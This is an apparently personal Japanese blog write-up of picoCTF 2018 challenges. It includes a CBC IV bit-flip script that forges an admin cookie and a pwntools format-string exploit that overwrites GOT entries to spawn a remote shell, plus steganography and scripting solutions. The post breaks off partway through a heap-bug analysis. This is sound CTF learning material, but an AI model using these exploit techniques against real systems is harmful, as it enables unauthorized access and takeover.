好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 500~550pt問題のwrite-up

picoCTF 2018 の write-up 500, 550点問題編。

今回もBinary問題にかなり手こずりました。今までの自分の知識・経験に全くない分野なこともあり、write-upや解説を読んでも咀嚼しきれない部分も。妊娠中の眠さも相まって、何度も解説を読んだり色んなサイトを参考にしたり、とにかく手を動かして攻撃スクリプトを書いてみて動作検証したりしているうちに、ようやく頭に染み込んでくる感じでした。これもあって前回から結構時間が空いてしまいました。
ただ、こうやって何かしら解いた記事を残すことで、自分が納得するまで調べたり、後から自分が見て思い出すのにとても役立っているので、picoCTF2018はこのまま完走したいなぁ(๑• ̀д•́ )✧

今回の問題では nop slide や heap問題 が新しかったのと、SecureLogonで使った解法がリアルタイムのCTFで使えたのが感動。

さて、ここまで解いて初めてこんなページがあるのを知りました。自分が、どのカテゴリで、何問中何問解いたのかが一目瞭然!

f:id:kusuwada:20190522114517p:plain

550pt問題までを解いた時点で 21585pt, 244位。もうリアルタイムじゃないし、他の方のwrite-upもかなり参考にさせて頂いてるので順位や点数はあまり意味がないけども。

f:id:kusuwada:20190522114739p:plain

450点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

[Web] Secure Logon (500pt)

Uh oh, the login page is more secure... I think. http://2018shell.picoctf.com:56265 (link). Source.

問題文のリンク先に飛ぶと、こんなサイトが。

f:id:kusuwada:20190422140953p:plain

適当な Username と Password を入れると入れる。が、「おまえにやるFlagはねぇ!」である(古い?)

f:id:kusuwada:20190422141109p:plain

ここでCookieが表示されているので見てみると、adminでログインしてほしそう。先程の感じだとPasswordは見ていなさそうなので Username:admin, Password:適当 でログインしようとすると、流石に弾かれた。

f:id:kusuwada:20190422141119p:plain

ソースを読んでみる。DLしたSourceはこちら。

from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES

app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'

BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


@app.route("/")
def main():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.form['user'] == 'admin':
        message = "I'm sorry the admin password is super secure. You're not getting in that way."
        category = 'danger'
        flash(message, category)
        return render_template('index.html')
    resp = make_response(redirect("/flag"))

    cookie = {}
    cookie['password'] = request.form['password']
    cookie['username'] = request.form['user']
    cookie['admin'] = 0
    print(cookie)
    cookie_data = json.dumps(cookie, sort_keys=True)
    encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
    print(encrypted)
    resp.set_cookie('cookie', encrypted)
    return resp

@app.route('/logout')
def logout():
    resp = make_response(redirect("/"))
    resp.set_cookie('cookie', '', expires=0)
    return resp

@app.route('/flag', methods=['GET'])
def flag():
  try:
      encrypted = request.cookies['cookie']
  except KeyError:
      flash("Error: Please log-in again.")
      return redirect(url_for('main'))
  data = AESCipher(app.secret_key).decrypt(encrypted)
  data = json.loads(data)

  try:
     check = data['admin']
  except KeyError:
     check = 0
  if check == 1:
      return render_template('flag.html', value=flag_value)
  flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
  return render_template('not-flag.html', cookie=data)

class AESCipher:
    """
    Usage:
        c = AESCipher('password').encrypt('message')
        m = AESCipher('password').decrypt(c)
    Tested under Python 3 and PyCrypto 2.6.1.
    """

    def __init__(self, key):
        self.key = md5(key.encode('utf8')).hexdigest()

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return b64encode(iv + cipher.encrypt(raw))

    def decrypt(self, enc):
        enc = b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:])).decode('utf8')

if __name__ == "__main__":
    app.run()

/flag pathのGETmethod を call した時、cookieadmin1 になっていれば、flagが表示されるような気配がします。
cookieの値は、json形式になっており、 AESCipher で暗号化されています。これを復号したらjsonが出てくるようになっています。
jsonpassword, username, admin の値が入っており、admin以外はユーザーの入力をそのまま使うようです。adminには通常、0しか入りません。password, usernameを自由に変更したjsonの暗号文は、cookieに保存されるので確認することができます。

作戦としては、このjsonadmin の値が 1 になるようにして暗号化、cookieにセットして /flag ページをGETする、で行ってみようと思います。

今回の暗号はAESのCBCモード、ivは毎回変更されるようですが、暗号文の先頭についてくるみたいです(16文字)。復号時は暗号文の先頭からivを取得し、これを使って復号しています。また暗号・復号に使用するkeyは、スクリプト上に固定で設定されているようです。
CBCモードの性質上、復号は ciphertext xor iv から始まり、暗号文の先頭ブロックから処理されていきます。そして暗号文・もしくはivをビット反転すると、復号時にその反転は平文に伝播します。
参考:暗号利用モード - Wikipedia
また、今回、スクリプトの L37 で cookie_data = json.dumps(cookie, sort_keys=True) と keyでソートされているので、必ずjsonの先頭は admin フラグになり、暗号文の先頭ブロックに当たります。

これらの条件から、暗号文にくっついてきている iv を書き換えることで、平文の admin:0admin:1 に書き換えることができそうです!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64

sample_cookie = '2FIiQPmvneqpOUecJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw='
# sample_json = {'admin': 0, 'password': 'password', 'username': 'user'}
flip_pos = 11
# 0 は 11番目の文字列なので、ivの11番目の文字をflipする

decoded_cookie = base64.b64decode(sample_cookie)
flipped = bytes([decoded_cookie[flip_pos-1] ^ ord('0') ^ ord('1')])
print(bytes([decoded_cookie[flip_pos-1]]) + b' is flipped to: ' + flipped)
flipped_arr = []
for i in range(len(decoded_cookie)):
    if i != flip_pos-1:
        flipped_arr.append(bytes([decoded_cookie[i]]))
    else:
        flipped_arr.append(flipped)
print(b'flipped_cookie: ' + base64.b64encode(b''.join(flipped_arr)))

実行結果

$ python solve.py 
b'G is flipped to: F'
b'flipped_cookie: 2FIiQPmvneqpOUacJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw='

新しいcookieをsetして、/flag にGETアクセスしてみるとFlagが出ました!

f:id:kusuwada:20190422141128p:plain

これ、WebっていうかCryptoじゃないのかな?入り口がWebだからWebなのかな?
ちなみにこの問題の応用版が、これをやった直後の ångstromCTF 2019 に出て嬉しかったヽ(•̀ω•́ )ゝ

ångstromCTF 2019 write-up - 好奇心の足跡

[Binary] echo back (500pt)

This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37857.

Hints

hmm, printf seems to be dangerous...

You may need to modify more than one address at once.

Ever heard of the Global Offset Table?

$ file echoback 
echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f3a42d793336e2051dd5578785d768cf3152d634, not stripped

こんなバイナリを入手しました。今回はソースコードはないみたい。
試しに動かしてみます。

$ ./echoback 
input your message:
test
test


Thanks for sending the message!

単純に入力をそのままechoしてくれるだけのようです。
radare2でどんな関数で構成されているのか確認してみます。

[0x08048643]> afl
0x080483dc    3 35           sym._init
0x08048410    1 6            sym.imp.read
0x08048420    1 6            sym.imp.printf
0x08048430    1 6            sym.imp.__stack_chk_fail
0x08048440    1 6            sym.imp.getegid
0x08048450    1 6            sym.imp.puts
0x08048460    1 6            sym.imp.system
0x08048470    1 6            sym.imp.__libc_start_main
0x08048480    1 6            sym.imp.setvbuf
0x08048490    1 6            sym.imp.setresgid
0x080484a0    1 6            sub.__gmon_start_80484a0
0x080484b0    1 33           entry0
0x080484e0    1 4            sym.__x86.get_pc_thunk.bx
0x080484f0    4 43           sym.deregister_tm_clones
0x08048520    4 53           sym.register_tm_clones
0x08048560    3 30           sym.__do_global_dtors_aux
0x08048580    4 43   -> 40   entry.init0
0x080485ab    3 152          sym.vuln
0x08048643    1 83           sym.main
0x080486a0    4 93           sym.__libc_csu_init
0x08048700    1 2            sym.__libc_csu_fini
0x08048704    1 20           sym._fini

ちょっと長いですが、mainから呼ばれている vuln 関数です。

[0x08048643]> s sym.vuln
[0x080485ab]> pdf
/ (fcn) sym.vuln 152
|   sym.vuln ();
|           ; var int local_8ch @ ebp-0x8c
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ ebp-0x4
|           ; CALL XREF from sym.main (0x8048684)
|           0x080485ab      55             push ebp
|           0x080485ac      89e5           mov ebp, esp
|           0x080485ae      57             push edi
|           0x080485af      81ec94000000   sub esp, 0x94
|           0x080485b5      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=-1 ; 20
|           0x080485bb      8945f4         mov dword [local_ch], eax
|           0x080485be      31c0           xor eax, eax
|           0x080485c0      8d9574ffffff   lea edx, dword [local_8ch]
|           0x080485c6      b800000000     mov eax, 0
|           0x080485cb      b920000000     mov ecx, 0x20               ; 32
|           0x080485d0      89d7           mov edi, edx
|           0x080485d2      f3ab           rep stosd dword es:[edi], eax
|           0x080485d4      83ec0c         sub esp, 0xc
|           0x080485d7      6820870408     push str.echo_input_your_message: ; 0x8048720 ; "echo input your message:"
|           0x080485dc      e87ffeffff     call sym.imp.system         ; int system(const char *string)
|           0x080485e1      83c410         add esp, 0x10
|           0x080485e4      83ec04         sub esp, 4
|           0x080485e7      6a7f           push 0x7f                   ; 127
|           0x080485e9      8d8574ffffff   lea eax, dword [local_8ch]
|           0x080485ef      50             push eax
|           0x080485f0      6a00           push 0
|           0x080485f2      e819feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x080485f7      83c410         add esp, 0x10
|           0x080485fa      83ec0c         sub esp, 0xc
|           0x080485fd      8d8574ffffff   lea eax, dword [local_8ch]
|           0x08048603      50             push eax
|           0x08048604      e817feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048609      83c410         add esp, 0x10
|           0x0804860c      83ec0c         sub esp, 0xc
|           0x0804860f      6839870408     push 0x8048739
|           0x08048614      e837feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048619      83c410         add esp, 0x10
|           0x0804861c      83ec0c         sub esp, 0xc
|           0x0804861f      683c870408     push str.Thanks_for_sending_the_message ; 0x804873c ; "Thanks for sending the message!"
|           0x08048624      e827feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048629      83c410         add esp, 0x10
|           0x0804862c      90             nop
|           0x0804862d      8b45f4         mov eax, dword [local_ch]
|           0x08048630      653305140000.  xor eax, dword gs:[0x14]
|       ,=< 0x08048637      7405           je 0x804863e
|       |   0x08048639      e8f2fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x0804863e      8b7dfc         mov edi, dword [local_4h]
|           0x08048641      c9             leave
\           0x08048642      c3             ret

うーむ、今回はmainから呼ばれない flag 関数や flag, secret のようなわかりやすい名前のシンボルは無いようです。
ここで頼るべきは問題のタイトルとヒント!

Hintからは、printf に対してフォーマット文字列攻撃(FSB, Format String Bugを利用)を実施、GOT overwrite 攻撃を示唆しているように見えます。あと、書き換えるアドレスが複数必要っぽい。

参考: format string attackによるGOT overwriteをやってみる - ももいろテクノロジー

が、どこをどう攻撃したらflagが得られるのか?
そういえば似たタイトルの問題があったな、ということでさかのぼってみると、echooo (300pt, Binary) が。この問題では、ソースコードの配布があり、ソースコード中で同ディレクトリ内の flag.txt を読み出してメモリに保持していました。このメモリ上のアドレス内容をFSBを利用して表示させてやればOK、というものでした。
今回は、メモリ上に flag 変数として読み出されてはなさそうですが、flag.txt が同ディレクトリに存在する可能性が高そうです。(他にflagの場所が思いつかないので)

とりあえず、printf に対するフォーマット文字列攻撃を試してみます。

$ nc 2018shell.picoctf.com 37857
input your message:
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAAffc9dd5c.0000007f.f75c37bd.f7727a70.08048270.00000001.41414141.78383025.3830252e.30252e78.252e7838.2e783830


Thanks for sending the message!

7番目に AAAA に相当する出力 41414141 が現れました。

ここで、FSB, GOT overwrite 攻撃について、表面的にしか理解していなかったので再度おさらいしました。

わかりやすくまとまっていて読みやすかったです!感謝!

今回は、最終的にsystem('/bin/sh')を呼び出してshellを操れる状態にするのがGOAL。
そのためにprintf関数のGOTを systemのPLTで書き換え、次の入力で /bin/sh を入れると、system('/bin/sh')が呼び出されてshellが起動します。

ただ困ったことに、上記の書き換え(FSBを利用したGOT overwrite)のために printf 関数を使用するので、もう一度 printf 関数を呼び出して実行してもらう必要があります。今回は、printfの後にputs(Thanks for sending the message!)が呼ばれているので、このGOTをvuln関数のアドレスで上書きし、再度 vuln 関数、ひいては printf 関数が呼ばれるように導きます。

ということで、下記の作戦で行きます。

  • FSBを利用して puts() 呼び出し時に vuln() を実行するよう overwrite する
  • 更にFSBを利用して、 printf() 呼び出し時に system() を実行するよう overwrite する
  • system呼び出しのinputに /bin/sh を指定し、shellを起動する
  • shell操作で多分近くにある flag.txt を覗く

また、今回は初めて pwntools の fmtstr_payload 関数を使ってみました。
pwnlib.fmtstr — Format string bug exploitation tools — pwntools 3.12.1 documentation
うん、とっても便利!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 37857

e = ELF('./echoback')
got_printf = e.got[b'printf']
plt_system = e.plt[b'system']
got_puts = e.got[b'puts']
sym_vuln = e.symbols[b'vuln']

payload = fmtstr_payload( 7, \
        { got_puts: sym_vuln, \
          got_printf: plt_system }
        )

r = remote(host, port)
r.recvuntil(b'input your message:\n')
r.sendline(payload)
r.interactive()

実行結果

$ python solve.py 
[*] '/echo_back/echoback'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to 2018shell.picoctf.com on port 37857: Done
[*] Switching to interactive mode
(略)
input your message:
$ /bin/sh
$ ls
echoback
echoback.c
flag.txt
xinet_startup.sh
$ cat flag.txt
picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_73881db0}

ちなみに出題者のRintaroさんのブログに、解説と想定解が載っていました。私のレベルだと、最初に読んだときはいきなり中級から来られた感じでよくわからなかったので、上記FSB, GOT overwrite解説記事から読み直しました…(*•ө•*)
picoCTF 2018を主催した話 - security etc...

[General] script me (500pt)

Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc 2018shell.picoctf.com 7866

指定のホストに接続してみます。

$ nc 2018shell.picoctf.com 7866
Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]

Example: 
(()) + () = () + (()) = (()())

Let's start with a warmup.
(()) + ()() = ???

>

ほーう!この言語を解読してねってことですね。最初の問題がwarmupってことは、問題が続きそうなのでscript化したほうが良さそう。
実はコレ全部で6問、テストデータを収集するために暗算で頑張ってみたところ、雰囲気で2問目くらいまで解けるんだけど、どんどん人間の目では処理できないレベルになっていって無理だった。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 7866

# function
def depth(member):
    max_depth = 0
    current_depth = 0
    for c in member:
        if c == '(':
            current_depth += 1
            max_depth = max(max_depth, current_depth)
        elif c == ')':
            current_depth -= 1
    return max_depth

def calc(left, right):
    left_depth = depth(left)
    right_depth = depth(right)
    if left_depth > right_depth:
        left = left[:-1] + right + ')'
    elif right_depth > left_depth:
        left = '(' + left + right[1:]
    else:
        left = left + right
    return left

def qa(question):
    members = question.split()
    left = members.pop(0)
    for m in members:
        if m == '+':
            continue
        else:
            left = calc(left, m)
    return left

# main
r = remote(host, port)
while True:
    question = r.recvline_contains(['???', 'picoCTF{']).decode()
    if 'picoCTF{' in question:
        print(question)
        break
    print('question: ' + question)
    answer = qa(question[:-6])
    print('answer: ' + answer)
    r.sendline(answer.encode())
$ python solve.py 
[+] Opening connection to 2018shell.picoctf.com on port 7866: Done
question: (()) + (()()) = ???
answer: (())(()())
question: ((())()) + () + () = ???
answer: ((())()()())
question: ((())()) + (()()()()()()()()) + (()()()()()()()()) + (()()) + (()()) = ???
answer: ((())()(()()()()()()()())(()()()()()()()())(()())(()()))
question: (()()()()()()()()) + (()(())) + ()()() + (()()()) + (()()) + (()(())) + (()()()) + (()()()(())()()) + (((()())()())()) + (()(())((()))(((())))((((()))))) = ???
answer: ((((()()()()()()()())()(())()()()(()()())(()()))(()(())(()()()))(()()()(())()())((()())()())())()(())((()))(((())))((((())))))
question: (()()())(())(()()()()()()()()) + ((()())()(())(()()()()()()()())) + ((()()()())()(((()()())()())()())) + (()(())()()()()(())) + ((()())()(()))((())()()()()) + ((()()())()(())(())) + (()()(())()()) + ((())(()()()()()()()())((()())()())()) + ((()()())(())())(()()()(())()()) + ((()(((()()())()())()()))((((()))))(((())))((()))(())()) + ((()()())()(())()()) + (((()())()(())()()())()(())((()))(((())))((((()))))) + ((()()(()))((())())((((()))))(((())))((()))(())()) + ((()()(())(()))((((()))))(((())))((()))(())()) + ((()()()()()()(())()())()(((()()())()())()())) + ((()()()()(())()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + ((()()()())(()()()()()()()())()()()(())()()) + (()(())()()()) + (((()())()(())()())()(())((()))(((())))((((()))))) + ((()()()()()()()()()()()())()(())((()))(((())))((((()))))) + ((((()())()())())((()(())((()))(((())))()()))()) + ((()()()())((()())()())()) + (((())((()())()())())()(((()()())()())()())) + ((()()(()))((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()())(()()())((()())()())()) + (((()())()(()))(()()()(())()())((()(())((()))(((())))()()))()) + (()()()()()()((()(())((()))(((())))()()))()) + (((())()(()()()))((()())()())()) + (((()())((()())()())())()(())((()))(((())))((((()))))) + (((()())()(())()())((((()))))(((())))((()))(())()) + ((()()(((()()())()())()()))((((()))))(((())))((()))(())()) + (((())()()())()(())((()))(((())))((((()))))) + (((()()()()()()()()())()(((()()())()())()()))()(())((()))(((())))((((()))))) + (((())()()())((()())()())()) + (()()((((()))))(((())))((()))(())()) + ((()((()())()())())()(())((()))(((())))((((()))))) + ((()()()())()(())((()))(((())))((((()))))) + (((())()()())((()(())((()))(((())))()()))()) + ((())()()()()()()) + ((())()(((()()())()())()())) + (()()()()()()())(()()()()()()()()) + (((()())()(())()()())((()())()())()) + (((()())()(())(()()()))((()(())((()))(((())))()()))()) + ((()(())()())((((()))))(((())))((()))(())()) + ((()()()())(()()()()()()()())((((()))))(((())))((()))(())()) + ((()(())(()()()()()()()()))((((()))))(((())))((()))(())()) + ((()()((()())()())())()(())((()))(((())))((((()))))) + (()()()()()()((((()))))(((())))((()))(())()) + (()()(())()()()) + (()()()())(()()()()()()()()) = ???
answer: (((((()()())(())(()()()()()()()())(()())()(())(()()()()()()()()))(()()()())()(((()()())()())()())(()(())()()()()(()))((()())()(()))((())()()()())((()()())()(())(()))(()()(())()())((())(()()()()()()()())((()())()())())((()()())(())())(()()()(())()()))(()(((()()())()())()()))((((()))))(((())))((()))(())()((()()())()(())()()))(((()())()(())()()())()(())((()))(((())))((((())))))((()()(()))((())())((((()))))(((())))((()))(())())((()()(())(()))((((()))))(((())))((()))(())()((()()()()()()(())()())()(((()()())()())()())))(()()()()(())()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()()())(()()()()()()()())()()()(())()())(()(())()()())(((()())()(())()())()(())((()))(((())))((((())))))((()()()()()()()()()()()())()(())((()))(((())))((((()))))))((((()())()())())((()(())((()))(((())))()()))()((()()()())((()())()())())(((())((()())()())())()(((()()())()())()())))((()()(()))((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())((()())(()()())((()())()())()))(((()())()(()))(()()()(())()())((()(())((()))(((())))()()))())(()()()()()()((()(())((()))(((())))()()))()(((())()(()()()))((()())()())())(((()())((()())()())())()(())((()))(((())))((((())))))(((()())()(())()())((((()))))(((())))((()))(())())((()()(((()()())()())()()))((((()))))(((())))((()))(())())(((())()()())()(())((()))(((())))((((())))))(((()()()()()()()()())()(((()()())()())()()))()(())((()))(((())))((((())))))(((())()()())((()())()())())(()()((((()))))(((())))((()))(())())((()((()())()())())()(())((()))(((())))((((())))))((()()()())()(())((()))(((())))((((()))))))(((())()()())((()(())((()))(((())))()()))()((())()()()()()())((())()(((()()())()())()()))(()()()()()()())(()()()()()()()())(((()())()(())()()())((()())()())()))(((()())()(())(()()()))((()(())((()))(((())))()()))()((()(())()())((((()))))(((())))((()))(())())((()()()())(()()()()()()()())((((()))))(((())))((()))(())())((()(())(()()()()()()()()))((((()))))(((())))((()))(())())((()()((()())()())())()(())((()))(((())))((((())))))(()()()()()()((((()))))(((())))((()))(())())(()()(())()()())(()()()())(()()()()()()()()))
Congratulations, here's your flag: picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85}
[*] Closed connection to 2018shell.picoctf.com port 7866

問題は毎回ランダムで変わるのでスクリプト化必須だった。あと、途中まで出された問題を入力して答えを出力するスクリプトで組んでいたんだけど、最後の問題がterminalに答えを入力しきれず、結局全自動スクリプトになった。
関数名とかセンスない感じになってしまって反省…。

[Forensics] LoadSomeBits (550pt)

Can you find the flag encoded inside this image? You can also find the file in /problems/loadsomebits_0_d87185d5ab62fa0048494157146e7b78 on the shell server.

Hints

Look through the Least Significant Bits for the image

If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different?

リンク先のファイルは pico2018-special-logo.bmp

f:id:kusuwada:20190522120150p:plain

$ file pico2018-special-logo.bmp 
pico2018-special-logo.bmp: PC bitmap, Windows 98/2000 and newer format, 1200 x 630 x 24

バイナリ解析ファイルで覗いてみるとこんな感じ。

f:id:kusuwada:20190522120247p:plain

おやおや、冒頭に怪しい 0,1 の羅列が…! そこの部分だけ2進数の配列として抜き出して、asciiに変換してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

bit_list = ['00000001', '01010000', '00000001', '01000100', '00010001', '01000000', '01010001', '01000101', '01010001', '00000000', '01010001', '00010001', '00000001', '00000001', '01000001', '01010100', '01010001', '01010000', '01010001', '01010001', '00000000', '01010000', '00000001', '01010000', '01000000', '01010000', '01010001', '01000001', '00000001', '00010101', '01010001', '01000100', '00010001', '00000101', '01000001', '00010101', '01010001', '01010001', '00000001', '00000100', '00000000', '01010000', '01010001', '00010101', '01010001', '01000101', '00000000', '01010000', '01010000', '01010001', '00000000', '01010001', '00010001', '01010001', '00000001', '00010101', '01010001', '01010000', '01010000', '01010000', '00010001', '01000001', '01010001', '01000101', '01000000', '01010000', '00010001', '01000001', '01000000', '01010000', '00010001', '01000000', '01010000', '01010001', '00000001', '01000101', '01000001', '00010001', '00000001', '00010101', '01010001', '01000000', '01000000', '01010000', '00010001', '01010001', '00000000', '01010001', '00010001', '00010101', '01010000', '01010001', '01010000', '01010001', '01010000', '01010000', '00000000', '01010001', '00010000', '01010001', '00010000', '01010001', '00000000', '01010000', '00010000', '01010100', '00010000', '01010000', '01010001', '01010101', '00010000']

ascii_list = []
for b in bit_list:
    ascii_list.append(chr(int(b,2)))
print(''.join(ascii_list))

実行結果

$ python solve.py 
PD@QEQQATQPQQPP@PQAQDAQQPQQEPPQQQQPPPAQE@PA@P@PQEAQ@@PQQPQPQPPQQQPTPQU

うむ…。ascii文字の範囲外の数値もあったみたいだし、なんか違うっぽいな?

Hintのとおり、今度はimageの最下位bitを抜き出してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

with open('pico2018-special-logo.bmp', 'rb') as f:
    data = f.read()

# extruct Least Significant Bits in image binary
lsb = ''
for d in data:
    lsb += str(d & 0x1)
    
print(lsb)

実行結果

01010000000000000000000000100000000100010001000000000001110000011010010110001101101111010000110101010001000110011110110111001101110100001100000111001000110011011001000101111101101001010011100101111101110100010010000011001101011111011011000011001100110100001101010111010001011111011100110011000101100111011011100011000101100110001100010110001100110100011011100101010001011111011000100011000101110100001101010101111100110111001101110011000000110101001101010011010000110001001110010011001101111101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(略)

変換前ののバイナリ列からもわかるように、最初の方だけ 1, 0 が入り混じっていますが、この後はずっと 0 ばかり、もしくは 1 ばかりのようです。

ここで、意味の有りそうな最初の方のを抜き出し、適当なところから切り出してascii変換してやります。どこからflagが始まるかわからないのでflagフォーマットが出てくるまでずらしながら試してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

bindata = '01010000000000000000000000100000000100010001000000000001110000011010010110001101101111010000110101010001000110011110110111001101110100001100000111001000110011011001000101111101101001010011100101111101110100010010000011001101011111011011000011001100110100001101010111010001011111011100110011000101100111011011100011000101100110001100010110001100110100011011100101010001011111011000100011000101110100001101010101111100110111001101110011000000110101001101010011010000110001001110010011001101111101000000000000'

slice_num = 0x8

for _ in range(slice_num):
    bindata = bindata[1:]
    flag = ''
    for i in range(len(bindata)//slice_num):
        a = bindata[i*slice_num : (i+1)*slice_num]
        flag += chr(int(a,2))
    if 'picoCTF{' in flag:
        break
print(flag)

実行結果

$ python solve.py
DpicoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_770554193}

ちょっとflagの前に D が入っちゃいましたが、flagが無事得られました!
今回の問題は、ヒントなしだと私は絶対解けない自信がある…!

[Binary] are you root? (550pt)

Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 45906. Source.

Hints

If only the program used calloc to zero out the memory..

入手できるのは下記のソースと実行ファイル。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

typedef enum auth_level {
  ANONYMOUS = 1,
  GUEST = 2,
  USER = 3,
  ADMIN = 4,
  ROOT = 5
} auth_level_t;
  
struct user {
  char *name;
  auth_level_t level;
};

void give_flag(){
  char flag[48];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  if ((fgets(flag, 48, f)) == NULL){
    puts("Couldn't read flag file.");
    exit(1);
  };
  
  puts(flag);
  fclose(f);
}

void menu(){
  puts("Available commands:");
  puts("\tshow - show your current user and authorization level");
  puts("\tlogin [name] - log in as [name]");
  puts("\tset-auth [level] - set your authorization level (must be below 5)");
  puts("\tget-flag - print the flag (requires authorization level 5)");
  puts("\treset - log out and reset authorization level");
  puts("\tquit - exit the program");
}

int main(int argc, char **argv){
  char buf[512];
  char *arg;
  uint32_t level;
  struct user *user;

  setbuf(stdout, NULL);

  menu();

  user = NULL;
  while(1){
    puts("\nEnter your command:");
    putchar('>'); putchar(' ');

    if(fgets(buf, 512, stdin) == NULL)
      break;

    if (!strncmp(buf, "show", 4)){
      if(user == NULL){
    puts("Not logged in.");
      }else{
    printf("Logged in as %s [%u]\n", user->name, user->level);
      }

    }else if (!strncmp(buf, "login", 5)){
      if (user != NULL){
    puts("Already logged in. Reset first.");
    continue;
      }

      arg = strtok(&buf[6], "\n");
      if (arg == NULL){
    puts("Invalid command");
    continue;
      }

      user = (struct user *)malloc(sizeof(struct user));
      if (user == NULL) {
    puts("malloc() returned NULL. Out of Memory\n");
    exit(-1);
      }
      user->name = strdup(arg);
      printf("Logged in as \"%s\"\n", arg);

    }else if(!strncmp(buf, "set-auth", 8)){
      if(user == NULL){
    puts("Login first.");
    continue;
      }

      arg = strtok(&buf[9], "\n");
      if (arg == NULL){
    puts("Invalid command");
    continue;
      }

      level = strtoul(arg, NULL, 10);

      if (level >= 5){
    puts("Can only set authorization level below 5");
    continue;
      }

      user->level = level;
      printf("Set authorization level to \"%u\"\n", level);

    }else if(!strncmp(buf, "get-flag", 8)){
      if (user == NULL){
    puts("Login first!");
    continue;
      }

      if (user->level != 5){
    puts("Must have authorization level 5.");
    continue;
      }

      give_flag();
    }else if(!strncmp(buf, "reset", 5)){
      if (user == NULL){
    puts("Not logged in!");
    continue;
      }

      free(user->name);
      user = NULL;

      puts("Logged out!");
    }else if(!strncmp(buf, "quit", 4)){
      return 0;
    }else{
      puts("Invalid option");
      menu();
    }
  }
}

ソース長いですね。それぞれのmenuに応じた処理が if-else でつらつらと書いてあります。

ちょっと遊んでみた感じ、まずは login {username} でログインし、set-auth で認証レベルの設定をします。認証レベルは初期状態で0、4まで set-auth で設定できます。 get-flag コマンドでflagが貰えそうですが、menuから順当に行くと認証レベルが5でないと give_flag()関数がcallされません。

パッと考えついたのは下記。

  1. 認証レベルを5に書き換える方法を探す
  2. give_flag()関数を無理やり呼び出す
  3. shellを取る

使えそうな脆弱ポイントを調べてみます。

